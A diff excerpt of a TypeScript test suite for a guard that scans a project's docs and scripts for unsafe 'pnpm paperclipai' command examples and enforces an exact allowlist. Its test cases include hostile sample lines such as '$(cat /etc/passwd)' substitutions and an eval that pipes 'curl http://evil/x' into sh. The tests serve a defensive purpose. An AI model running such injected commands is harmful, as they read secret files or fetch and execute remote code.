// from a request header, an import URL, an identifier, or a secret reference.
|
||||
|
||||
// Flags that carry free text, an identifier, a payload, a file, or a secret.
|
||||
const CONTENT_FLAGS = [
|
||||
"--body",
|
||||
"--body-file",
|
||||
"--title",
|
||||
"--comment",
|
||||
"--message",
|
||||
"--description",
|
||||
"--reason",
|
||||
"--goal",
|
||||
"--alt",
|
||||
"--color",
|
||||
"--content",
|
||||
"--content-file",
|
||||
"--summary",
|
||||
"--note",
|
||||
"--text",
|
||||
"--name",
|
||||
"--slug",
|
||||
"--payload",
|
||||
"--payload-json",
|
||||
"--env-json",
|
||||
"--company-id",
|
||||
"--agent-id",
|
||||
"--claim-secret",
|
||||
"--api-key-env-var-name",
|
||||
"--out",
|
||||
"--file",
|
||||
];
|
||||
|
||||
// Subcommands whose value is a hostname or an import source. A request header or
|
||||
// an external URL can supply that value, so it is never fixed.
|
||||
const CONTENT_SUBCOMMANDS = ["allowed-hostname", "company import"];
|
||||
|
||||
// Placeholders that name an untrusted value type. A bare local placeholder such
|
||||
// as `<name>` or `<plugin-id>` on a local lifecycle command is not listed here.
|
||||
const UNTRUSTED_PLACEHOLDERS = [
|
||||
"<token>",
|
||||
"<secret>",
|
||||
"<request-id>",
|
||||
"this-github-url-or-folder",
|
||||
];
|
||||
|
||||
// A note or warning line names the unsafe form on purpose. Skip it so the
|
||||
// security note itself does not trip the scan.
|
||||
function isNoteLine(line: string): boolean {
|
||||
const lower = line.toLowerCase();
|
||||
return (
|
||||
line.includes("pnpm exec paperclipai") ||
|
||||
line.includes("npx paperclipai") ||
|
||||
lower.includes("do not use") ||
|
||||
lower.includes("acceptable only")
|
||||
);
|
||||
// Return the `### Offline and air-gapped use` subsection of `doc/CLI.md`. The
|
||||
// subsection runs from its own heading to the next Markdown heading. The scan
|
||||
// reads only this text, so a `pnpm` mention in another section does not affect
|
||||
// the offline-guidance assertions.
|
||||
function extractOfflineSubsection(cli: string): string {
|
||||
const marker = "### Offline and air-gapped use";
|
||||
const start = cli.indexOf(marker);
|
||||
if (start < 0) return "";
|
||||
const rest = cli.slice(start + marker.length);
|
||||
const nextHeading = rest.search(/\n#{1,3} /);
|
||||
return marker + (nextHeading < 0 ? rest : rest.slice(0, nextHeading));
|
||||
}
|
||||
|
||||
function isContentBearing(line: string): boolean {
|
||||
const commandStart = line.indexOf("pnpm paperclipai");
|
||||
if (commandStart < 0) return false;
|
||||
if (isNoteLine(line)) return false;
|
||||
// Inspect only the command tail. Wrapping code before the command, such as a
|
||||
// `${pc.dim(...)}` template call in TypeScript, is not part of the argument.
|
||||
const command = line.slice(commandStart);
|
||||
if (command.includes("${")) return true;
|
||||
if (command.includes("url-or-folder>") || command.toLowerCase().includes("<url")) return true;
|
||||
if (UNTRUSTED_PLACEHOLDERS.some((token) => command.includes(token))) return true;
|
||||
if (CONTENT_SUBCOMMANDS.some((sub) => command.includes(sub))) return true;
|
||||
return CONTENT_FLAGS.some(
|
||||
(flag) => command.includes(`${flag} `) || command.includes(`${flag}=`),
|
||||
);
|
||||
// ── The exact allowlist ───────────────────────────────────────────────────
|
||||
//
|
||||
// Each entry is a fully literal command string. A `pnpm paperclipai` line is
|
||||
// allowed only when its extracted command string equals one of these entries.
|
||||
// Add a new entry only for a command that carries no substitutable value.
|
||||
|
||||
const PNPM_ALLOWLIST = new Set<string>([
|
||||
"pnpm paperclipai --help",
|
||||
"pnpm paperclipai run",
|
||||
"pnpm paperclipai onboard",
|
||||
"pnpm paperclipai onboard --yes",
|
||||
"pnpm paperclipai onboard --run",
|
||||
"pnpm paperclipai onboard --yes --run",
|
||||
"pnpm paperclipai doctor",
|
||||
"pnpm paperclipai doctor --repair",
|
||||
"pnpm paperclipai auth bootstrap-ceo",
|
||||
"pnpm paperclipai connect",
|
||||
"pnpm paperclipai migrate",
|
||||
"pnpm paperclipai db:backup",
|
||||
"pnpm paperclipai configure --section server",
|
||||
"pnpm paperclipai configure --section secrets",
|
||||
"pnpm paperclipai configure --section storage",
|
||||
"pnpm paperclipai configure --section database",
|
||||
"pnpm paperclipai env",
|
||||
"pnpm paperclipai env-lab up",
|
||||
"pnpm paperclipai env-lab doctor",
|
||||
"pnpm paperclipai env-lab status --json",
|
||||
"pnpm paperclipai env-lab down",
|
||||
"pnpm paperclipai context show",
|
||||
"pnpm paperclipai context list",
|
||||
"pnpm paperclipai issue list",
|
||||
"pnpm paperclipai dashboard get",
|
||||
"pnpm paperclipai plugin list",
|
||||
"pnpm paperclipai feedback report",
|
||||
"pnpm paperclipai feedback report --payloads",
|
||||
"pnpm paperclipai feedback export",
|
||||
"pnpm paperclipai instance settings:experimental",
|
||||
"pnpm paperclipai worktree ensure-seeded",
|
||||
"pnpm paperclipai worktree repair",
|
||||
"pnpm paperclipai worktree env",
|
||||
"pnpm paperclipai worktree env --json",
|
||||
]);
|
||||
|
||||
// ── Documentation phrases ─────────────────────────────────────────────────
|
||||
//
|
||||
// A policy or warning sentence names `pnpm paperclipai` on purpose to tell the
|
||||
// reader not to use it, or to describe the abstract command form. These phrases
|
||||
// are not runnable commands, so they are exempt. The set is narrow and exact: a
|
||||
// mixed safe/unsafe example does not match, because its command string carries a
|
||||
// real subcommand and arguments.
|
||||
|
||||
const DOC_PHRASES = new Set<string>([
|
||||
// A bare mention such as `` `pnpm paperclipai` `` inside prose.
|
||||
"pnpm paperclipai",
|
||||
// The abstract command form the policy section discusses.
|
||||
"pnpm paperclipai <command> <args>",
|
||||
]);
|
||||
|
||||
// ── Command extraction ────────────────────────────────────────────────────
|
||||
//
|
||||
// Extract the full logical command that a reader runs from a `pnpm paperclipai`
|
||||
// occurrence. The guard compares the whole runnable command against the
|
||||
// allowlist, never a prefix. A quote, a backtick, or a parenthesis is a shell
|
||||
// metacharacter, not a safe extraction boundary. The guard must not truncate
|
||||
// the command at one of them and then match the shorter prefix. If it did, a
|
||||
// line such as `pnpm paperclipai run "$(cat secret)"` would truncate to the
|
||||
// allowlisted `pnpm paperclipai run` and pass, while the copied command still
|
||||
// runs the shell substitution.
|
||||
//
|
||||
// The guard trusts a string span only inside a proven literal context. The
|
||||
// context depends on the file type, so the guard reads the scanned file path
|
||||
// (`relPath`). A quote means a different thing in each language, so the guard
|
||||
// must not trust the same span shape everywhere.
|
||||
// - Shell (`.sh`): never trust a quote or a backtick span. A shell concatenates
|
||||
// a quoted string with the text next to it, so a close quote is not a safe
|
||||
// boundary. The guard extracts to the logical line end and lets the allowlist
|
||||
// reject any tail that is not a proven terminator.
|
||||
// - Markdown (`.md`, `.mdx`): trust a backtick inline-code span only. A backtick
|
||||
// opens a real literal span. A double quote in Markdown is plain prose, not a
|
||||
// literal delimiter, so the guard does not trust a double-quote span.
|
||||
// - Source (`.ts`, `.tsx`, `.js`, `.jsx`): trust a quote span only when it is
|
||||
// the complete value of a `command:` property. The guard proves this shape by
|
||||
// two facts. First, a `command` key and a colon sit directly before the open
|
||||
// delimiter. Second, a source-string terminator (one of `,` `;` `)` `]` `}`,
|
||||
// after optional whitespace) follows the close delimiter. A bare comma is not
|
||||
// enough. An array element or a call argument also ends at a comma, and a
|
||||
// later `join` or a call concatenates it with an untrusted tail. The shape
|
||||
// `["pnpm paperclipai run", tail].join("")` extracts the allowlisted prefix
|
||||
// but the runtime value carries the tail. The guard trusts only the direct
|
||||
// `command:` property, so it fails closed on every other comma-terminated span.
|
||||
// - Any other file type: never trust a span, and fail closed.
|
||||
//
|
||||
// The guard trusts a span only when its opener is adjacent to the marker: the
|
||||
// delimiter, then optional whitespace or a `$ ` shell prompt, then `pnpm`. When
|
||||
// the guard trusts the span, the next matching delimiter closes it, and the
|
||||
// command is the text from the marker to that close.
|
||||
//
|
||||
// Outside a proven literal context the guard fails closed. It extracts the
|
||||
// command to the logical line end, or to a ` #` comment. A backtick, a quote, or
|
||||
// a parenthesis here is a shell metacharacter, so it stays in the extracted
|
||||
// command. The command then fails the allowlist match and the guard reports it.
|
||||
// This is the key rule: a quote or a backtick that follows the command is never
|
||||
// a truncation boundary, so a line such as `pnpm paperclipai run "$(cat secret)"`
|
||||
// keeps its dangerous suffix and the guard rejects it.
|
||||
//
|
||||
// The guard never infers a safe enclosing span from an arbitrary unmatched
|
||||
// delimiter earlier on the line. An earlier `"` or backtick that is not adjacent
|
||||
// to the marker is ambiguous context, so the guard fails closed. An escaped
|
||||
// delimiter (`\"` or an escaped backtick) is literal text, so it never opens or
|
||||
// closes a span.
|
||||
//
|
||||
// The scan collapses internal whitespace, so a backslash-continued command
|
||||
// compares as one normalized string.
|
||||
|
||||
function normalizeCommand(raw: string): string {
|
||||
return raw.replace(/\s+/g, " ").trim();
|
||||
}
|
||||
|
||||
// Return true when the delimiter at index `index` in `text` is escaped. A
|
||||
// delimiter is escaped when an odd number of backslashes sit directly before it.
|
||||
function isEscaped(text: string, index: number): boolean {
|
||||
let backslashes = 0;
|
||||
for (let i = index - 1; i >= 0 && text[i] === "\\"; i -= 1) {
|
||||
backslashes += 1;
|
||||
}
|
||||
return backslashes % 2 === 1;
|
||||
}
|
||||
|
||||
// Return the span delimiter that opens the command, or null when no delimiter is
|
||||
// adjacent to the marker. The guard trusts a span only when its opener sits
|
||||
// directly next to the marker. The opener is the last character of `before`
|
||||
// after the removal of an optional trailing gap: whitespace and, at most, one
|
||||
// `$ ` shell prompt. An earlier unmatched delimiter that is not adjacent is
|
||||
// ambiguous context, so this function returns null and the caller fails closed.
|
||||
// An escaped delimiter (`\"` or an escaped backtick) is literal text, so it does
|
||||
// not open a span.
|
||||
const ADJACENCY_GAP = /(?:[ \t]*(?:\$[ \t]+)?)$/;
|
||||
|
||||
function adjacentSpanOpener(before: string): string | null {
|
||||
const head = before.replace(ADJACENCY_GAP, "");
|
||||
const last = head.length - 1;
|
||||
if (last < 0) return null;
|
||||
const char = head[last];
|
||||
if (char !== "`" && char !== '"') return null;
|
||||
if (isEscaped(head, last)) return null;
|
||||
return char;
|
||||
}
|
||||
|
||||
// Return the index of the next unescaped `delimiter` in `tail`, or -1 when the
|
||||
// span has no close. An escaped delimiter is literal text, so it does not close
|
||||
// the span.
|
||||
function nextUnescapedDelimiter(tail: string, delimiter: string): number {
|
||||
for (let i = 0; i < tail.length; i += 1) {
|
||||
if (tail[i] === delimiter && !isEscaped(tail, i)) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Classify the scanned file by its extension. The trusted-span rule depends on
|
||||
// the file type, because a quote means a different thing in each language.
|
||||
type FileKind = "shell" | "markdown" | "source" | "other";
|
||||
|
||||
function fileKind(relPath: string): FileKind {
|
||||
const ext = path.extname(relPath).toLowerCase();
|
||||
if (ext === ".sh") return "shell";
|
||||
if (ext === ".md" || ext === ".mdx") return "markdown";
|
||||
if (ext === ".ts" || ext === ".tsx" || ext === ".js" || ext === ".jsx") {
|
||||
return "source";
|
||||
}
|
||||
return "other";
|
||||
}
|
||||
|
||||
// A source string literal ends at a real terminator: a comma, a semicolon, or a
|
||||
// close bracket, after optional whitespace. A close delimiter that a shell
|
||||
// expansion (for example `$(`) or a string concatenation follows is not a proven
|
||||
// literal end.
|
||||
const SOURCE_TERMINATOR = /^[ \t]*[,;)\]}]/;
|
||||
|
||||
// A complete static command literal has the shape `command: <literal>`. A
|
||||
// `command` key and a colon sit directly before the open delimiter. This proves
|
||||
// the literal is the whole property value. An array element or a call argument
|
||||
// has a different context before the open delimiter (a `[`, a `(`, or a comma),
|
||||
// so it never matches. The `(?:^|[^\w$])` guard stops a longer key such as
|
||||
// `subcommand` from matching the `command` tail.
|
||||
const COMMAND_PROPERTY_OPENER = /(?:^|[^\w$])command\s*:\s*$/;
|
||||
|
||||
// Return the text directly before the open delimiter. The open delimiter is the
|
||||
// last character of `before` after the removal of the adjacency gap.
|
||||
function textBeforeOpener(before: string): string {
|
||||
const head = before.replace(ADJACENCY_GAP, "");
|
||||
return head.slice(0, -1);
|
||||
}
|
||||
|
||||
// Return true when a trusted span opens the command in a proven literal context.
|
||||
// The context depends on the file type. The guard fails closed on every other
|
||||
// context, so it never infers a safe span outside a proven literal.
|
||||
function spanIsProvenLiteral(
|
||||
relPath: string,
|
||||
open: string,
|
||||
before: string,
|
||||
tail: string,
|
||||
close: number,
|
||||
): boolean {
|
||||
const kind = fileKind(relPath);
|
||||
if (kind === "shell" || kind === "other") return false;
|
||||
// A Markdown backtick opens an inline-code span. A Markdown double quote is
|
||||
// plain prose, so the guard does not trust it.
|
||||
if (kind === "markdown") return open === "`";
|
||||
// A source string literal (a double quote or a template backtick) is a proven
|
||||
// literal only when it is the complete value of a `command:` property. Two
|
||||
// facts must hold. The `command:` key sits directly before the open delimiter,
|
||||
// and a source terminator follows the close delimiter. A bare comma alone is
|
||||
// not enough, because an array element or a call argument also ends at a comma
|
||||
// and a later concatenation joins it with an untrusted tail.
|
||||
if (!SOURCE_TERMINATOR.test(tail.slice(close + 1))) return false;
|
||||
return COMMAND_PROPERTY_OPENER.test(textBeforeOpener(before));
|
||||
}
|
||||
|
||||
function extractCommand(relPath: string, text: string, at: number): string {
|
||||
const before = text.slice(0, at);
|
||||
const tail = text.slice(at);
|
||||
const open = adjacentSpanOpener(before);
|
||||
if (open !== null) {
|
||||
// The marker sits inside a span whose opener is adjacent to the marker. The
|
||||
// guard trusts the matching close delimiter as a real terminator only inside
|
||||
// a proven literal context for this file type.
|
||||
const close = nextUnescapedDelimiter(tail, open);
|
||||
if (close >= 0 && spanIsProvenLiteral(relPath, open, before, tail, close)) {
|
||||
return normalizeCommand(tail.slice(0, close));
|
||||
}
|
||||
}
|
||||
// Fail closed. Outside a proven literal context the command runs to a ` #`
|
||||
// comment or the line end. A quote, a backtick, or a parenthesis stays inside
|
||||
// the extracted command, so a dangerous suffix fails the allowlist match.
|
||||
const comment = tail.search(/\s#/);
|
||||
const raw = comment < 0 ? tail : tail.slice(0, comment);
|
||||
return normalizeCommand(raw);
|
||||
}
|
||||
|
||||
// A `pnpm paperclipai` occurrence is an offender when it is wrapped in a
|
||||
// command-substitution span, or when its full command string is neither an
|
||||
// allowlist entry nor a documentation phrase. The command-substitution check
|
||||
// catches `$(pnpm paperclipai ...)`, which normalizes the dangerous habit of
|
||||
// running the CLI inside a shell substitution even when the inner command is
|
||||
// literal.
|
||||
|
||||
function findOffenders(relPath: string, text: string): string[] {
|
||||
const offenders: string[] = [];
|
||||
const marker = "pnpm paperclipai";
|
||||
let from = 0;
|
||||
for (;;) {
|
||||
const at = text.indexOf(marker, from);
|
||||
if (at < 0) break;
|
||||
from = at + marker.length;
|
||||
const before = text.slice(0, at);
|
||||
const wrapped = /\$\(\s*$/.test(before);
|
||||
const command = extractCommand(relPath, text, at);
|
||||
if (wrapped) {
|
||||
offenders.push(command);
|
||||
continue;
|
||||
}
|
||||
if (PNPM_ALLOWLIST.has(command)) continue;
|
||||
if (DOC_PHRASES.has(command)) continue;
|
||||
offenders.push(command);
|
||||
}
|
||||
return offenders;
|
||||
}
|
||||
|
||||
// ── Repository walk ───────────────────────────────────────────────────────
|
||||
|
|
@ -211,8 +423,8 @@ function toLogicalLines(source: string): LogicalLine[] {
|
|||
function scanText(relPath: string, source: string): string[] {
|
||||
const offenders: string[] = [];
|
||||
for (const { text, lineNumber } of toLogicalLines(source)) {
|
||||
if (isContentBearing(text)) {
|
||||
offenders.push(`${relPath}:${lineNumber}: ${text.trim()}`);
|
||||
for (const command of findOffenders(relPath, text)) {
|
||||
offenders.push(`${relPath}:${lineNumber}: ${command}`);
|
||||
}
|
||||
}
|
||||
return offenders;
|
||||
|
|
@ -226,15 +438,268 @@ function scanForOffenders(): string[] {
|
|||
return offenders;
|
||||
}
|
||||
|
||||
// A line that recommends the broken `pnpm exec paperclipai` form. A warning line
|
||||
// names the broken form on purpose to tell the reader not to use it. Skip such a
|
||||
// line, so the note itself does not trip the ban.
|
||||
function recommendsBrokenExecForm(line: string): boolean {
|
||||
if (!line.includes("pnpm exec paperclipai")) return false;
|
||||
const lower = line.toLowerCase();
|
||||
const warns =
|
||||
lower.includes("broken") ||
|
||||
lower.includes("not found") ||
|
||||
lower.includes("do not use");
|
||||
return !warns;
|
||||
}
|
||||
|
||||
function scanForBrokenExecForm(): string[] {
|
||||
const offenders: string[] = [];
|
||||
for (const relPath of listGuidanceFiles()) {
|
||||
read(relPath)
|
||||
.split("\n")
|
||||
.forEach((line, index) => {
|
||||
if (recommendsBrokenExecForm(line)) {
|
||||
offenders.push(`${relPath}:${index + 1}: ${line.trim()}`);
|
||||
}
|
||||
});
|
||||
}
|
||||
return offenders;
|
||||
}
|
||||
|
||||
describe("paperclipai CLI invocation safety", () => {
|
||||
it("keeps content-bearing pnpm paperclipai examples out of every guidance surface", () => {
|
||||
it("allows only exact-allowlist pnpm paperclipai commands on every guidance surface", () => {
|
||||
const offenders = scanForOffenders();
|
||||
expect(
|
||||
offenders,
|
||||
`Use \`pnpm exec paperclipai\` for content-bearing arguments:\n${offenders.join("\n")}`,
|
||||
`Each pnpm paperclipai line must match an exact allowlist entry, else use ` +
|
||||
`npx paperclipai (or the direct-exec form for local source):\n${offenders.join("\n")}`,
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it("never recommends the broken pnpm exec paperclipai form", () => {
|
||||
const offenders = scanForBrokenExecForm();
|
||||
expect(
|
||||
offenders,
|
||||
`\`pnpm exec paperclipai\` does not resolve the CLI binary; use \`npx paperclipai\`:\n${offenders.join("\n")}`,
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
// ── The extraction and allowlist logic, in isolation ─────────────────────
|
||||
//
|
||||
// Each case fails before this change and passes after it. Before, the guard
|
||||
// recognized only a limited flag set and skipped any line that mentioned
|
||||
// `npx paperclipai`. So it missed `--config`, `--data-dir`, `--instance`,
|
||||
// `--bind`, a context-profile value, and worktree path/ref/id/name options,
|
||||
// and a mixed safe/unsafe line hid behind its `npx` mention.
|
||||
|
||||
it("flags a value-bearing option that the old flag list omitted", () => {
|
||||
// --config, --data-dir, --instance, and --bind each carry a value.
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai doctor --config ./scratch.json")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run --data-dir ./tmp/dev")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run --instance dev")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run --bind tailnet")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai onboard --yes --bind lan")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("flags a context-profile value and every worktree path/ref/id/name option", () => {
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai context use default")).toHaveLength(1);
|
||||
// Path, ref, id, and name options on worktree commands.
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai worktree repair --branch PAP-1-x")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai worktree:make my-feature --start-point origin/main")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai worktree init --from-config ~/.paperclip/config.json")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai worktree reseed --to PAP-1-x")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let an npx mention on the same line suppress detection", () => {
|
||||
// A mixed line names the safe form but still shows the unsafe command.
|
||||
const mixed = "Prefer npx paperclipai, but pnpm paperclipai issue create --title x also works.";
|
||||
expect(scanText("doc/E.md", mixed)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("rejects a command-substitution or variable span in a recommended command", () => {
|
||||
// Backtick command substitution, $( ) command substitution, and $NAME
|
||||
// variable expansion each reach a shell before the CLI starts.
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai allowed-hostname `hostname`")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai issue create --title $(cat /etc/passwd)")).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run --instance $INSTANCE")).toHaveLength(1);
|
||||
// A literal command wrapped in $( ) is still an offender.
|
||||
expect(scanText("doc/E.md", 'eval "$(pnpm paperclipai worktree env)"')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("flags an allowlisted prefix followed by a quoted or backtick suffix", () => {
|
||||
// The full runnable command is not the allowlisted prefix. The guard must
|
||||
// match the whole command, not the prefix truncated at the quote or the
|
||||
// backtick. A reader who copies the line runs the shell-expanded suffix.
|
||||
// (a) A double-quoted value that carries shell-expanded content.
|
||||
expect(scanText("doc/E.md", 'pnpm paperclipai run "$(cat /etc/passwd)"')).toHaveLength(1);
|
||||
expect(scanText("doc/E.md", 'pnpm paperclipai doctor "$HOME/scratch.json"')).toHaveLength(1);
|
||||
// (b) A backtick-delimited suffix after the allowlisted command.
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run `hostname`")).toHaveLength(1);
|
||||
// A single-quoted suffix is also part of the full command.
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai onboard 'extra value'")).toHaveLength(1);
|
||||
});
|
||||
|
||||
// ── Fail closed on an ambiguous quote context before the marker ──────────
|
||||
//
|
||||
// The round-4 guard toggled a span open on every unmatched delimiter earlier
|
||||
// on the logical line. So an arbitrary leading `"` or backtick before the
|
||||
// marker opened a false span, and the first delimiter in the tail closed it.
|
||||
// The extraction then dropped the dangerous suffix and matched the allowlisted
|
||||
// prefix. That is fail-open. The guard now trusts a span only when its opener
|
||||
// is adjacent to the marker. A non-adjacent earlier delimiter is ambiguous, so
|
||||
// the guard extracts to the logical line end and keeps the dangerous suffix.
|
||||
//
|
||||
// Each case below extracts the full command that includes the suffix, so each
|
||||
// reports exactly one offender. On the round-4 code each accepted case
|
||||
// extracted only `pnpm paperclipai run` (or `... doctor`) and reported zero
|
||||
// offenders. The comment on each case marks that fail-open delta.
|
||||
|
||||
it("fails closed on a leading unmatched double quote before the marker", () => {
|
||||
// Round-4: the leading `"` opened a span; the tail `"` closed it; the guard
|
||||
// extracted `pnpm paperclipai run` and reported zero offenders (fail open).
|
||||
const line = 'some prose with one " quote then pnpm paperclipai run "$(dangerous)"';
|
||||
expect(scanText("doc/E.md", line)).toHaveLength(1);
|
||||
// The same shape with a doctor prefix and a `$VAR` suffix.
|
||||
const varLine = 'a stray " quote and pnpm paperclipai doctor "$HOME/x"';
|
||||
expect(scanText("doc/E.md", varLine)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("fails closed on a leading unmatched backtick and on mixed delimiters", () => {
|
||||
// Round-4: the leading backtick opened a span; the tail backtick closed it;
|
||||
// the guard extracted `pnpm paperclipai run` and reported zero offenders.
|
||||
const backtick = "a stray ` tick then pnpm paperclipai run `hostname`";
|
||||
expect(scanText("doc/E.md", backtick)).toHaveLength(1);
|
||||
// Mixed: a leading unmatched backtick, then a double-quoted `$( )` suffix.
|
||||
const mixedA = 'a stray ` tick then pnpm paperclipai run "$(cat secret)"';
|
||||
expect(scanText("doc/E.md", mixedA)).toHaveLength(1);
|
||||
// Mixed: a leading unmatched double quote, then a backtick suffix.
|
||||
const mixedB = 'a stray " quote then pnpm paperclipai run `hostname`';
|
||||
expect(scanText("doc/E.md", mixedB)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let an escaped delimiter before the marker open a span", () => {
|
||||
// An escaped quote is literal text, not a span opener. Round-4 counted the
|
||||
// `"` in `\"` as a real delimiter, opened a span, and could fail open. The
|
||||
// guard ignores an escaped delimiter, so it extracts the full command.
|
||||
const escapedQuote = 'a label \\" then pnpm paperclipai run "$(dangerous)"';
|
||||
expect(scanText("doc/E.md", escapedQuote)).toHaveLength(1);
|
||||
const escapedTick = "a label \\` then pnpm paperclipai run `hostname`";
|
||||
expect(scanText("doc/E.md", escapedTick)).toHaveLength(1);
|
||||
// An escaped delimiter directly before the marker is not an adjacent opener,
|
||||
// so the guard fails closed and keeps the dangerous suffix.
|
||||
const adjacentEscaped = '\\"pnpm paperclipai run "$(dangerous)"';
|
||||
expect(scanText("doc/E.md", adjacentEscaped)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("still trusts a span in its proven literal context", () => {
|
||||
// A Markdown inline-code backtick span and a source string literal both place
|
||||
// the opener directly before the marker in a proven literal context, so the
|
||||
// guard reads the full command inside the span and matches the allowlist. An
|
||||
// optional `$ ` prompt inside the span still counts as adjacent. The source
|
||||
// double-quote span is proven only by the terminator that follows its close.
|
||||
expect(scanText("doc/E.md", "Run `pnpm paperclipai run` to start.")).toEqual([]);
|
||||
expect(scanText("config/example.ts", ' command: "pnpm paperclipai onboard --yes --run",')).toEqual([]);
|
||||
expect(scanText("doc/E.md", "Run `$ pnpm paperclipai doctor` to check.")).toEqual([]);
|
||||
});
|
||||
|
||||
// ── Fail closed outside a proven literal context (context-aware spans) ────
|
||||
//
|
||||
// The round-5 guard trusted an adjacent quote span in every file type. So an
|
||||
// unescaped double quote directly before the marker opened a span, and the next
|
||||
// double quote closed it. The guard then extracted only the truncated prefix
|
||||
// and matched the allowlist, while the text outside the close quote still
|
||||
// reached a shell. The shape `eval "<allowlisted form>"$(untrusted)` passed
|
||||
// with zero offenders. The guard now trusts a span only in a proven literal
|
||||
// context for the file type, so each shape below reports one offender.
|
||||
|
||||
it("fails closed on a shell eval that concatenates a quoted form with a substitution", () => {
|
||||
// A shell concatenates the quoted string with the `$( )` result, so the close
|
||||
// quote is not a safe boundary. The `.sh` rule never trusts a quote span, so
|
||||
// the guard keeps the dangerous suffix and reports the whole command.
|
||||
const shell = 'eval "pnpm paperclipai run"$(curl http://evil/x | sh)';
|
||||
expect(scanText("deploy/run.sh", shell)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("fails closed on a quoted residual in a Markdown line", () => {
|
||||
// A Markdown double quote is prose, not a literal delimiter. The guard does
|
||||
// not trust the span, so the dangerous suffix outside the quote stays in the
|
||||
// command and the guard reports it.
|
||||
const md = 'Run "pnpm paperclipai run"$(cat /etc/passwd) to start.';
|
||||
expect(scanText("doc/E.md", md)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("fails closed on a TypeScript quote span that a concatenation or a substitution follows", () => {
|
||||
// A source double quote is a literal only when a source terminator follows
|
||||
// its close. A close quote that a `+` concatenation or a `$(` expansion
|
||||
// follows is not a proven literal end, so the guard reports the command.
|
||||
const concat = 'const cmd = "pnpm paperclipai run" + userInput;';
|
||||
expect(scanText("src/build-cmd.ts", concat)).toHaveLength(1);
|
||||
const substitution = 'const cmd = "pnpm paperclipai run"$(inject);';
|
||||
expect(scanText("src/build-cmd.ts", substitution)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("still accepts the legitimate source literals in the Playwright configs", () => {
|
||||
// A backtick template literal and a double-quote string literal each end at a
|
||||
// real source terminator (a comma), so the source-terminator rule proves the
|
||||
// literal context and the allowlist matches. These two real files must pass.
|
||||
expect(scanText("tests/e2e/playwright.config.ts", read("tests/e2e/playwright.config.ts"))).toEqual([]);
|
||||
expect(
|
||||
scanText(
|
||||
"tests/perf/issue-detail/playwright.config.ts",
|
||||
read("tests/perf/issue-detail/playwright.config.ts"),
|
||||
),
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
// ── Fail closed on a comma-terminated fragment that a join concatenates ───
|
||||
//
|
||||
// The round-6 guard trusted any source quote span whose close delimiter a comma
|
||||
// follows. A comma is a source terminator, but it does not prove the literal is
|
||||
// the complete emitted command. An array element and a call argument both end
|
||||
// at a comma, and a later `join` or a call concatenates the element with an
|
||||
// untrusted tail. The guard now trusts a comma only for a direct `command:`
|
||||
// property, so each composition below reports one offender.
|
||||
|
||||
it("fails closed on an allowlisted prefix joined with a tail in an array literal", () => {
|
||||
// The literal is one array element, not the whole command. `join("")`
|
||||
// concatenates it with `userControlledTail`, so the runtime value carries the
|
||||
// tail. The comma after the element is a source terminator, but it does not
|
||||
// prove a complete command, so the guard reports the whole expression.
|
||||
const source =
|
||||
'const command = ["pnpm paperclipai run", userControlledTail].join("");';
|
||||
const offenders = scanText("src/build-command.ts", source);
|
||||
expect(offenders).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("fails closed on an allowlisted prefix passed as a call argument with a tail", () => {
|
||||
// A function-call argument list joins an allowlisted prefix literal with a
|
||||
// tail. The comma after the prefix is a call-argument separator, not a proof
|
||||
// of a complete command, so the guard reports the composition.
|
||||
const source = 'const command = buildCommand("pnpm paperclipai run", tail);';
|
||||
const offenders = scanText("src/build-command.ts", source);
|
||||
expect(offenders).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("flags an allowlisted prefix with a backtick suffix on a continued line", () => {
|
||||
// The parser joins backslash-continued lines into one logical command. An
|
||||
// allowlisted first line does not make the whole command safe. The suffix on
|
||||
// the continued line still reaches a shell.
|
||||
const quoted = ["pnpm paperclipai doctor \\", ' --config "$(cat secret)"'].join("\n");
|
||||
expect(scanText("doc/EXAMPLE.md", quoted)).toHaveLength(1);
|
||||
const backtick = ["pnpm paperclipai run \\", " `hostname`"].join("\n");
|
||||
const offenders = scanText("doc/EXAMPLE.md", backtick);
|
||||
expect(offenders).toHaveLength(1);
|
||||
expect(offenders[0]).toContain("doc/EXAMPLE.md:1:");
|
||||
});
|
||||
|
||||
it("allows an exact allowlist entry and a bare documentation mention", () => {
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai run")).toEqual([]);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai worktree env --json")).toEqual([]);
|
||||
expect(scanText("doc/E.md", "pnpm paperclipai configure --section server")).toEqual([]);
|
||||
// A prose mention inside backticks is not a runnable command.
|
||||
expect(scanText("doc/E.md", "Do not use `pnpm paperclipai` for a content-bearing argument.")).toEqual([]);
|
||||
expect(scanText("doc/E.md", "The `pnpm paperclipai <command> <args>` form is unsafe.")).toEqual([]);
|
||||
